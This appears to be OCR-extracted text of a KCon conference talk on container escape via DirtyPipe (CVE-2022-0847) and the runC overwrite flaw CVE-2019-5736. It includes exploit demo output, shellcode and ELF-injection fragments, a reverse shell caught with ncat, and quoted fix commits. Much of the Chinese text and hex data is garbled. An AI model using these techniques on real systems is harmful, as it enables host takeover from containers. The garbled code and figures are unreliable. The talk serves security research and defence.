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KCon  DirtyPipe (CVE-2022-0847)

Max Kellermann
Abstract

Thisis the story o
since 5.8 which al
This leads to privi

't is similarto

The vulnerability

The Dirty Pipe Vulnerability

f CVE-2022-0847, a vulnerability in the Linux kernel
OWS

ege escalation because unprivileged processes can

inject code into root processes.

but is easier to exploit.

in Linux5.16.11,5.15.25 and 5.10.102.

= dp uname-r
5.8.0-050800rc1-g
= dp cat /etc/pa

't worked!
= dp cat /etc/pa

eneric
sswd | head -n 1

r 0:0:root:/root:/usr/bin/zsh
= dp ./exploit /etc/passwd 1

sswd | head -n 1

r 0:0:root:/root:/usr/bin/zsh
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= ~ docker run dirtypipe:exp-1

] exploiting DirtyPipe (CVE-2022-0847)

+] runC opened for reading as /proc/self/td/3

+] got entry point: 0x232390

] injecting payload into runC at entrypoint 0x232390
+] done

- ~ ncat -klvnp 4444
cat: Version 7.60 ( https://nmap.org/ncat)
cat: Generating a temporary 1024-bit RSA key.
cat: Listening on ::4444
cat: Listening on 0.0.0.0:4444
cat: Connection from 192.168.3.101.
cat: Connection from 192.168.3.101:51995.
exit
cat: Connection from 192.168.3.101.
cat: Connection from 192.168.3.101:51998.
oython3 -¢ "import pty;pty.spawn('/bin/bash’)"
<08dabd2ch7tebb811f43f7ddf67a64 1d38c8e370d914etoatt
<08dabd2c57tebb811f43f7ddforab4 71d38c8e370d914efbaf# cd /
cd /
root@ubuntu-bionic:/#

Yuval Avrahami @yuvalavra - 3H8H

[B]2 @yuvalavra
escape PoC

ubuntu@ip-172-31-16-4:~/dirypipe$ cat /bin/* | mdS5sum
43a6afdd88e40d84b398304213f9d894 -

ubuntu@ip-172-31-16-4:~/dirypipe$ sudo docker run --rm -it $dirtypipe_image
It worked!

ubuntu@ip-172-31-16-4:~/dirypipe$ cat /bin/* | md5sum

MDirtyPipeZl|Dockeridt %
MEZZEHITHRE
Phithon ITEEIRERBLARTECSH —EREAURENIRERBRN— 0 3 :
MAZIRAIEE Docker A X4, HREGBRRKERE,
EZRANXE (FHRABRLANFELRSE) B, LB REIS5| & Docker BERHFEE YT
RN=%, —XE2HTAZRKEESIEH, Dirty-Pipett ERARZIRE, FEMAB T2 H
DirtyPipeZlDockeri® &% A T2,

T %}J;U ﬁ ﬁb‘%l Archive About Me Pages Tags Categories

Container escape using dirtypipe

After the CVE-2019-5736, most of the security researcher think that the fix is to use memfd_create to create
a file in memory and copy the runc binary to this file, but this is wrong. As we can do container escape using
dirtypipe, so we think the sendfile shares the src file and dst file. But again this is wrong. This two wrong
assumption makes the thing work and seems to be expainable. Just like negative plus negative equals
positive. There is an old chinese saying, “we can only get superficial knowledge from paper, but deep
knowledge from practice”, 4k Ff5RZK 4, A5t 3EH547. The process of exploring the container
escape using dirtypipe just remind of this old saying.

Return the Yuval pictures, it modifies the files in /bin directory. I’'m not sure this is the case that Yuval
escape. If he escapes from /proc/self/exe can then the shellcode modify the file in /bin directory it will be like
what pictures show, if it isn’t the case, there maybe another interesting things.
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> Nt ateeEdEd SrunCbiR?
> XL PEUETE N A CVE-2019-5736894N T HE3E 7 A7
> GISRHASLRE
> BB FEEEBE S runC?
> bR T runC, B ABRIBRAAILIEY

> HMpRsesiz178Y7?

a=hy

2B S runCSEIPki&k. .
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KCon CVE-2019-5736

rambo@matrix:~/CVE-2019-5736-PoC$ docker --version
Docker version 18 03.1-ce, bu11d 9ee9140

rambo@matrix:- *E~¢@1%M§?Eﬁ )C$ docker-runc --version
runc version 1.®.®—rc5
commit: 4fc53a81fb7c994640722ac585fa9ca548971871
spec: 1.0.0
'CVE-2019-57306

rambo@matrix:~/ -PoC$ docker ps

CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS NAMES

0a545f9c889d ubuntu "/bin/bash" 2 minutes ago
Up 2 minutes peaceful_tesla

rambo@matrix:mf” [E-2019-573 )C$ cat main.go | grep 'payload'

#!/bin/bash \n echo 'hello, host' > /tmp/magic.dat”
writeHandle.Write([]byte(payload))

rambo@matrix:~/CVE-2019-5736-PoC$ docker cp main 6a54:/poc

rambo@matrix:~/CVE-2019-5736-PoC$ docker exec -it 6a54 /bin/bash

root@6aS45f9c889d /# /poc

] Overwritten /bin/sh successfully

"+] Found the PID: 28

var payload =

.-1r+1§LE]

] Successfully got the file handle
+] Successfully got write handle &{0xc4200a5900}
root®6a545f9c889d:/# |

Elfau.u.n I

rambo@matrix:~/CVE-2019-5736-PoC$ docker exec -it 6a54 /bin/sh
o help toplc For i 4 1n/sh'
rambo@matrix:~/CVE-2019-573 )C$ cat /tmp/magic.dat

ello,host
rambo@matrix:~/CVE-2019-

e ko ¥ o o e
g ) § b
A= 1) )‘4 {
- =0 34

N D ] YA

Bax kiR

35C3 CTFR7E 535
BEHN—1HCTFLEEE,
B MK =58FADragon Sector &M1& B FrigV &7 /R IE L S5docker execan <
i) +o8EM, =&
runciz 5 Y B 28 b 1%

MBRRIB1T

5736,

runc run |
runc exec |

s E: MCTFEEHZICVE-2019-5736 1%

ARG ZCTFREE MICVE-2019-5736F =B o, BB N IREBEKERE,

RAMB G EERZIAR,

B9 H7

sk BRI R B

BRTEBENARHIE, HARCTFERAEat, Sleep, Pwn, RepeatF{8E 3k L
tEFRBF—EETFLinuxRZENFNDPEREBE ., FE, REE=
Pk #ifrunc (—
TiREIZHE, RINRM—TEBESE L
B2 R EE, DB SCVE-2019-

FB A3 runciF#
e . %R F2019FE 2B 1MH &
MEFZ R B2 KB

#%j &A:ﬁtpﬂﬁ/u\éﬁﬁﬂo

runc
on host

‘runc init
execve /p

container container
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shell1% runc run ctr
shell2% runc exec ctr sh

[ remote

server

shelll[ctr]# ps aux
PID USER TIME COMMAND
1 root 0:00 sh
root 0:00 {runc:[2:INIT]} /proc/seli/exe init

24 root 0:00 ps aux o
shell1[ctr]# Is | —

total 0

Ar-x------ 2 root root O Nov 28 14:29 . E—
dr-xr-xr-x 9 root root 0 Nov 28 14:29 .. _ server

X 1 root root 64 Nov 28 14:29 4 >

ghelll[ctr}#
total 0

rwxr-xr-x 1 root root 1872 Nov 25 09:22 bin whoc ctr
rwxr-xr-x 1 root root 552 Nov 25 09:46 boot
rwxr-xr-x 21 root root 4240 Nov 27 22:09 dev 9
r'WXr-xr-x 1 root root 4958 Nov 28 14:28 etc

rwxr-xr-x 1 root root 12 Jun 15 12:20 home e -

r'WXr-xr-x 1 root root 1572 Oct 30 12:00 lib

Palo Alto Networks

O O O O O O -

»»»»»»
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nsenter: to avoid exposing host binary to container

There are quite a few circumstances where /proc/self/exe pointing to a
pretty important container binary is a _bad_ thing, so to avoid this we
have to make a copy (preferably doing self-clean-up and not being
writeable).

We require -- though thereis an O_TMPFILE fallback --
but we can always extend this to use a scratch MNT_DETACH overlayfs or
tmpfs. The main downside to this approach is no page-cache sharing for
the runc binary (which overlayfs would give us) but this is far less
complicated.

This is only done during nsenter so that it happens transparently to the
Go code, and any libcontainer users benefit from it. This also makes
ExtraFiles and --preserve-fds handling trivial (because we don't need to
worry about it).

Fixes: CVE-2019-5756
Co-developed-by: Christian Brauner <christian.brauner@ubuntu.com=>
Signed-off-by: Aleksa Sarai

nsenter: cloned_binary:

The usage of memfd_create(2) and other copying techniques is quite
wasteful, despite attempts to minimise it with _LIBCONTAINER_STATEDIR.

to the cgroup associated with
the container, which can result in some setups getting OOM'd (or just
hogging the hosts' memory when you have lots of created-but-not-started
containers sticking around).

The easiest way of solving this is by

o
ensure that the host won't accidentally be re-mounted read-write. This
avoids all copying and cleans up naturally like the other techniques
used. Unfortunately, like the O_TMPFILE tallback, this requires being
able to create a file inside _LIBCONTAINER_STATEDIR (since bind-mounting
over the most obvious path -- /proc/self/exe -- is a "very bad idea”).

Unfortunately detecting this isn't fool-proof -- on a system with a

read-only root filesystem (that might become read-write during “runc

init" execution), we cannot tell whether we have already done an ro

remount. As a partial mitigation, we store a _LIBCONTAINER_CLONED_BINARY
environment variable which is checked *alongside™ the protection being
present.

Signed-off-by: Aleksa Sarai

& [CVE-2019-5736]: Server uses more memory if start many runc process at one time (#1993)
Different from #1980 , If we start 100 runc processes at one time, the server will use about more 900M
memory than before, it may cause failure. | don't know whether this is a problem or not?

root@iZ2ze1o61blvco5p5ducnnZ:/opt/busybox# ...
lifubang opened on Feb 23, 2019 4 comments

& [CVE-2019-5736]: Runc uses more memory during start up after the fix (#1980)

Random-Liu opened on Feb 13, 2019 35 comments
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CVE-2019-5736 (runC): rexec callers as memfd

Adam lwaniuk and Borys Poptawski discovered that an attacker can compromise the

runC host binary rrom inside a privileged runC container. As a result, this
could be exploited to gain root access on the host. runC is used as the derault
runtime for containers with Docker, containerd, Podman, and CRI-O.

- oit:( ) tail -n 14 ./src/Ixc/rexec.c

/**

" This function will copy any binary that calls liblxc into a memory file anc
" will to rexecute the binary. This is done to prevent attacks

" through the /proc/self/exe symlink to corrupt the host binary when host and

" container are in the same user namespace or have set up an identity id
“mapping: CVE-2019-5736.

/
__attribute__((constructor)) static void liblxc_rexec(void)
{
it (getenv("LXC_MEMFD_REXEC") && [xc_rexec("liblxc")) {
rprintf(stderr, "Failed to re-execute liblxc via memory file descriptor\n");
_exit(EXIT_FAILURE):
J
J
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> 7<%E]%>\<i) runC

> —EFXg

=l

)

» BEE/15 runC => IR

\\l

> memfdi2E 53

> =50 Fro mountHZRZE—7F

> QeI A A

=20 mountf&E /2
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Wizprocfs

AP iTexecigfE

HBIRrunCGHEIZE ApayloadH 1T

I RACHS

IR ChS

G e e

i FEL . H b A e 47 1
R G S IS Al He: runCE s SsE
- ~ 1 RBIURERE THASHHERESEN
=7
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KITHR %
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RIGIRE

- { NERAEBERORE

Container as a Service
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var SHA
for{
writeHandle, _ := 0s.OpenFile("/proc/self/fd/"+strconv.ltoathandleFd), 0s.O_WRONLY|os.O_TRUNC, 0700)

i int(writeHandle.Fd()) > 0{

g SELEHE
const unsigned char malicious_elf_bytes[] = { o=
/" OXTT, ™/ 0x45, Ox4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
/* ELFRI=E D ™/
J;

int main(int arge, char *“argv) {

if ) 1=0) {

runc_fd_read = open("/proc/self/exe", O_RDONLY); iELFﬁiﬁ#iﬁ
seek(runc_fd_read, ELF_ENTRYPOINT OFFSET, SEEK_SET):

char payload|]| =1
Ox6a, 0x29, 0x58, 0x99, Oxba, 0x02, 0x5f, Oxba, 0x01, Ox5e, Ox0f, 0x05,
/* paykadjfﬁﬂ:/\*/

;
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X root@5d0c53d8f294: /exp (ssh)

WkirZEE: CVE-2022-0185E runCE Rz +]

[+]
[*]
Bl
Bl
B
[*]
Eal
[
Bl
[*]
Bl
Bl
[
[+]

perform exploit step?2

prepare fsconfig heap overflow

sparying msg_msg ...

trigger oob write in "legacy_parse_param to corrupt msg_msg.next
free uaf msg_msg from correct msqid

spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg
free skbuff_data using fake msqid

freed using msqid 5

spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data
free skbuff_data to make pipe_buffer become UAF

uaf_pipe_idx: 1

edit pipe_buffer->flags

trying to overwrite runC

63 bytes written into runC

CVE-2022-01857th R2FIAA 5 pipefrRiERES
VERITAS501 2022-03-16 | @ kernel

[+] exploit success

root@5d0c53d8f294: /exp# |]

> root@ubuntu-bionic: ~ (ssh) =  ncat (ssh)

root@ubuntu-bionic:~# docker exec -it escape /exp/bash_evil 1s

[0000] No help topic for '/exp/bash_evil' address

root@ubuntu-bionic:~# docker run -it ubuntu whoami config.json

D log
options. json
rootfs
runtime
work

python -c "import pty;pty.spawn('/bin/bash')"

/bin/bash: line 3: python: command not found

python3 -c "import pty;pty.spawn('/bin/bash')"
<cfd23650a009da70f93507c80e48103e7c04ddd8a31dbodb@2# cat /e
tc/passwdlgrep vagrant

# HelEX - FhBFIARIE: pipe

XM ADirtyPipe (CVE-2022-0847) [#1Si# %%, HEBAREBELIFMTHEE 7 XM EREMF A A
. XNEZAUSGE, RANEHNBRIEZERRTY K3tkerne Uthht f9kE, B B EENKE, FLBERERE
ERXTIRENAZ, AILFEERELEAZBAFEERROPEFLL, E8kerneldrgadgetiIRIBNAE.

fEEX 1 DirtyPipefZE, X NRIERISITHEEREILLHIE T 15?

A, teEDirtyPipelmEA S, FIANANRXNFEFTRNEEZBERBARER, EMZERBEESEFIE.

MRBEANZE T — 1T HNizheapAJUAFSLELMhRIE, HEERIGHIE{ X struct pipe_bufferfyimif, I
Z4iithE BT leak opsEZElkernel base, Bi@IERopsROP (HiexpMEEZTE_MAIE) , SEkE
modprobe_path#lcore_patternfimigittit (fEEFE—FAIE) ?

M2 FEIEERERNflags, MMitUAFREft ADirtyPipe? XFEAZ R UBRAMEIEEXHEHS HANS i
hEng?

NiZUAFEAPipe Buffer Flag
> B4y N Dirtypipe

> FMADirtypipeE runC

-> PRIR YIS

<03e7c@4ddd8a31dbodb@2# cat /etc/passwdlgrep vagrant
vagrant:x:1000:1000:, ,, :/home/vagrant:/bin/bash
<cfd23650a09da70f93507c80e48103e7c04ddd8a31dbodb@2# I
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> BEIEE A bizfT48 € payload (FEAREK)

» AZMRUNCIEEFIIAEIEZEE (B

> NBRIRrunCX A (DirtyPipetVE R

)

][] —HY 8] BY B MO8

1

©)



KCon

InZ= BB IRIFRTFFIE

©)



KCon ELFX#SELFSXfEN

= file "whichrunc

/usr/local/sbin/runc: 04-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, BuildID[shal]=0afa4292e5163007028rbdebeftbla2edcla3f49, for GNU/Linux 3.2.0, stripped

- xxd whichrunc |head-nl
00000000: 7145 4c46 0201 0100 0000 0000 0000 0000 .= F............

ELF header ELF header

Program header table Proram header table

.rodata

.data
e

Section header table Section header table

src: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#/media/File:Elf-layout--en.svg
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ntrypoint

- ~cat

- ~readelf-h "which runc | sed-n'1,3p;8p;11p'

FLF Header:

Magic: 71454c 46020101 000000 0000 000000 00
Class: FLFO4

Type:

- ~objdump -dj “text' “which runc  |sed-n '13,24p'

010/0[0/01010

232390:

000232

232392:
2323995:
232396:
232399:
23239d:
23239¢:

23239t

2323a6:
2323ad:
232304:

390 <_start@@Base>:

31 ed xor %ebp,%ebp
4989 d1 mov  %rdx,%r9
oe pop  Yorsl

48 89 e mov  %rsp,%rax

48 83 e4 10 and  SOxffTTTO, Y%rsp
50 oush  %rax
54 push %rsp

4c 8d 056ac?2 4600
48 8d 0d f3¢c1 46 00
48 8d 3d 8¢ b4 06 00
ff 1516 7c a8 00

ea 0Ox46c26a(%rip),%r8
ea 0x46c¢1i3(%rip),%rcx
ea Ox6b48c(%orip),%rdi

callg "0xa87c16(%rip)
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L. ¥ runCIEZe 9 EPIE (CRhaFseil)
D EANFFIEZROEP CREFET)

1. S3x e padding

, RIEEELFEENEMNpayloadBy A T AN EFE

g

PayloadicifEho

mov rax, OEP
lea rbx, [rip]
nop
sub rbx, nop vaddr
add rbx, rax
push rbx

ret

Reverse
Shell

ad readell --wide --section-headers “which runc " | sed -n '4,9p

Nr] Name Type
NULL

|4>Hbqj\g¢—nCD|ZZ

Address Off Size ESFlgLkInTAl
0000000000000000 000000 00000000 0 0 0

Interp PROGBITS — 00000000000002 70 000270 00001c 00 A O O 1

0000000000000~ = 00028c 00002000 A 0 O 4
00000000000002ac 0002ac 000064 00 A O 0 4
0000000000000310 000510 00002400 A O O 4

- ~ readelf --wide --program-headers ~which runc | sed-n'7p;12,14p
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
0x000 = 0x000000000000028¢ 0x000000000000028¢

R Ox4

©
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® Watch 386 ~ Y Fork 1.7k Y7 Star 9.1k

ecurity 4 |~ Insights

Tags Q  Find a release
= /runc_latest -v
runc version
commit: v1.1.0-20-g52de29d7 17 days ago v1.1.1 -- "Violence is the last refuge of the incompetent."
spec: 1.0.2-dev @ olyshin
. O vi11®
go . go 1 . 17 . 6 o 512;;2% This is the first stable release in the 1.1 branch, fixing a few issues
libseccomp: 2.5.3 Compare ~ with rune 1:1.0.

= readelf --wide --program-headers ./runc_latest | sed -n '7,15p"

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
| OAD 0x000000 0x0000000000400000 0x0000000000400000 0x0004e8 0x0004e8 R 0x1000
| OAD 0x001000 0x0000000000401000 Ox0000000000401000 Ox46e0el Ox46e0el R E 0x1000
| OAD Ox470000 0x0000000000870000 0x0000000000870000 Ox4562e2 0x4562e2 R 0x1000
| OAD Ox8c68a8 0x0000000000cc78a8 0x0000000000cc78a8 0x0336¢8 0x071948 RW 0x1000

TLS Ox3co8ad 0x0000000000cc /8ad 0x0000000000cc /8ad 0x000028 0x0000 /8 R OX3
GNU_STACK  0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO  Ox8co8asd 0x0000000000cc /8ad 0x0000000000cc /8ad 0x003 758 Ox003 /58 R Ox1
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= readell --wide --section-headers ./runc_latest 2>/dev/null | sed -n '4p;6,7p;29,30p

Nr] Name
1] .note.gnu.build-id NOTE
2| .note ABl-tag NOTE

24] .go.buildinto  PROGBITS

Type Address

Off Size ESFlgLkInrAl
0000000000400200 000200 00002400 A0 0 4
0000000000400224 000224 00002000 A0 0 4
0000000000cdrd50 8ded50 000020 00 WA 0 016

O08DED50 FF20476F 2062 71569 6C 64 69 6E 66 3A08 00 . Go buildinf:..

008DED60 50 CO CC 00 00000000 A0 COCCO00 00000000 P

008DEDT0 00000000 00000000 00000000 000000 00
008DEDSO 052F0A3E 203A0101 0101 0A7C 04050103
008DED90 3C612E 2F 2F005C 27 5C225C5C 01020300
O008DEDAO 3C 70 3E 00 3C 746400 3C 746800 5C 683100
O008DEDBO 3C 683200 3C 683300 3C 683400 3C 683500
O008DEDCO 3C 6836000 2E2E2F 00 EF BF BD 00 6E 756C 6C
008DEDDO 00060C 12 0006 0C 12 3C 74 74 3E 3C2F 61 3E
O08DEDEO 266C 74 3B 3C2F 703k 3C68 723k 3C 756C 3k
O08DEDFO 3C6F6C3E 26067 743B 3C 64 6C 3E 3C6C 69 3k
OO8DEEOO 3C 6464 3k 3C64 743k 3C 74723k 3C62 723k
O008DEELO 3C656D 3k FFFFFFFF FFFFFFFF 010000 00
008DEE20 FF FFFFFF 08000000 FFFFFFFF 010000 00
O008DEE30 08000000 01000000 2D 2D 2D 0A 26 6C 74 3B
O08DEE40 2667 74 3B 5C 753030 2661 6D 70 3B 0000 00
O08DEESO 3C 64 656C 3E 000000 3C2F 74 74 3E 00 00 00
008DEE6BO 3C 70 7265 3E 000000 3C2F 756C 3E 0000 00
O08DEET0 3C2F6F6C 3E 000000 3C2F 64 6C 3E 0000 00
O08DEESO 3C2F6C 69 3E 000000 3C2F 64 64 3E 0000 00
O008DEESO 3C2F64 74 3E 000000 3C2F 7464 3E 0000 00
O08DEEAO 3C2F 7468 3E 000000 3C 2F 74 72 3E 00 00 00
O08DEEBO 3C2F 6831 3E 000000 3C2F 68 32 3E 00 00 00
O08DEECO 3C2F 6833 3E 000000 3C2F 68 34 3E 00 00 00
- Tunc

S 0100 [ ——

...............

008DEDS0
008DED60
008DEDT0
008DEDSO
008DEDY0
O008DEDAD
O008DEDBO
008DEDCO
008DEDDO
OO8DEDEO
O008DEDFO
OO08DEEQO
OO8DEE1LO0
O08DEE20
OO8DEES0
OO8DEE40
OO8DEESO
OO8DEE6GO
OO8DEET0
OO8DEESO
OO8DEE90
OO8DEEAO
OO8DEEBO
O08DEECO
-— runc

756C 3k
SCoF6C3E 2667 74 3B 3C 64 6C 3E 3C6C 69 3k
3C04 643k 3C64 743k 3C 14723k 3C62 723k
3C 656D 3k FFFFFFFF FFFFFFEFF 01 00 00 00
FFFFFFFF 08000000 FFFFFFFF 0100 0000
08 00 00 00 01000000 2D 2D 2D 0A 26 6C 74 3B
2007 74 3B 5C 753030 2661 6D 70 3B 0000 00
3C 64 656C 3E000000 3C2F 74 74 3E 00 00 00
3C 707265 3000000 3C2F r56C 3E 00 00 00
3C2F6F6C 38000000 3C 2F 64 6C 3E Q0 00 00
3C2F6C 69 3E000000 3C 2F 64 64 3E 00 00 00
3C2F64 74 3E 000000 3C2F 7464 3E 00 00 00
3C2F 7468 3E000000 3C2F 74 72 3E 0000 00
3C2F6831 3E000000 3C2F 68 32 3E 0000 00
3C2F68 33 3E000000 3C2F 68 34 3E 0000 00
—DeDlEECh O EFsee~—
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KCon DEMO 1 B2 exec

- ~dockerrun--rm-v pwd /exp:/exp -it --name escape ubuntu:18.04 /bin/bash

root@60adb7t4p502:/# cd /exp; ./escape_with_dirtypipe_exec
"] exploiting DirtyPipe (CVE-2022-0847)

runC catched: /proc/353/exe
original entrypoint: 0x401bf0

"] parsing runC ELF
] PT_NOTE segment 4 found
+] section .go.buildinfo found
| inject->oft mod 4096 = 0xd50
] inject->secaddr mod 4096 = 0x0
+] inject->secaddr += 0xd50

I+II

1
>*

T
>*

+] 157 bytes payload injected at 0x8ded50 ofset to target file
]

+] section .go.buildinfo found

+] section header updated

T 1
>*

}
+] segment header updated
}

T 11
>*

+] exploit succeeded

@

- ~ncat-klvnp 4444

cat: Version 7.91 ( https://nmap.org/ncat )
cat: Listening on ::4444

cat: Listening on 0.0.0.0:4444

cat: Connection from 192.168.0.102.

cat: Connection from 192.168.0.102:53425.
cat: Connection from 192.168.0.102.

cat: Connection from 192.168.0.102:53427.
cat: Connection from 192.168.0.102.

cat: Connection from 192.168.0.102:53428.

cat /etc/passwd | grep vagrant [ sEshell R Bap<> 3
vagrant:x:1000:1000:,,,:/home/vagrant:/usr/bin/zsh

docker exectiRis, 1BELirunCHIEEMEFH =200
= ~ docker exec -it escape /exp/bash_evil 2

= ~docker run --rm -it ubuntu:18.04 hostname
d2d8b123f631

©)



__attribute

((constructor)) void run_at_link(void) {

KC 8 . int runc_fd_read = open("/proc/seli/exe", O_RDONLY); "‘l
OoNn DEMO 2 EHER '
libseccompEh S EEREEE N |
=» ~docker run dirtypipe:escape ® = ~ncat-klvnp 4%4 >
cat: Version 7.91 ( https://nmap.org/ncat
_+}_ exploiting DirtyPipe (CVE-2022-0847) cat. Listening on 4444
- - | , , , , cat: Listening on 0.0.0.0:4444 \ |
) exgcutmg/escape_thh_d|rtyp|pe_|mage cat: Connection from 192.168.0.102. e egEshel kB @
+] original entrypoint: 0x232390 cat: Connection from 192.168.0.102:54172.
[+ ] cat /etc/passwd | grep vagrant
| vagrant:x:1000:1000:,,,:;/home/vagrant:/usr/bin/zsh
1*} QO CLF cat: Connection from 192.168.0.102.
L & cat: Connection from 192.168.0.102:55044.
ﬂ PT_NOTE segment 5 found cat: Connection from 192.168.0.102. [ gEshelSKESQ)
+] section .go.buildinfo founa cat: Connection from 192.168.0.102:55045.
] inject->off mod 4096 = 0x3b0 cat: Connection irom 192.168.0.102.
] | inject- >cecaddr mod 4096 = 0x0 cat: Connection from 192.168.0.102:55046.

+] inject->secaddr += 0x3b0
| }}
f+] 157 bytes payload injected at Oxacd3b0 offset to target file
]
+] section .go.buildinfo found
+] section header updated

]
+] segment header updatec
]

+] exploit succeeded

_|_

*

*

*

*

T2Edocker execx2 8, fF&irunCHIEE R~ =00

= dirtypipe docker run --rm -it ubuntu:18.04 hostname
d5e509321515a

@
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KCon [pE58# +|

> BIFEDOH 5 E)7?
> EEIRERUNC, WREME, L&
> FEnRENIRERBIWERR, KIS &

> BEHR. M “BrunC” F81E, EEENEEIESRN
» CVE-2019-5736F =118 R E
> DirtyPipe. CVE-2022-01855% — Ntz M
> HENIR. BiREEENIE,
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KCon Takeaw
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https://veritas501.github.io/2022_03_16-CVE_2022_01857 41 AFIB S pipefi/RiE 8 =E 558

https://terenceli.github.io/#K/2022/03/19/container-escape-through-dirtypipe

https://dirtypipe.cm4all.com

https://github.com/opencontainers/runc/commit/0a8e4117e71715d51beef398405813ce8e88558b

https://github.com/opencontainers/runc/commit/16612d74de5184977e50a9¢c8ead 110e9e13b8628

nttps://git
nttps://git

U

U

b.com/opencontainers/runc/commit/50a19¢c6ff828c58e5dab13830bd3dacde268ates

b.com/Ixc/Ixc/commit/6400238d08cdflca20d49batb85f4e224348bf9d

nttps://github.com/DataDog/dirtypipe-container-breakout-poc

nttps://unitd2.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/

https://github.com/advisories/GHSA-gp4j-w3vj-7299

https://bugzilla.suse.com/show_bug.cgi?id=1012568#c6

https://seclists.org/oss-sec/2019/g1/119

Practical Binary Analysis by Dennis Andriesse
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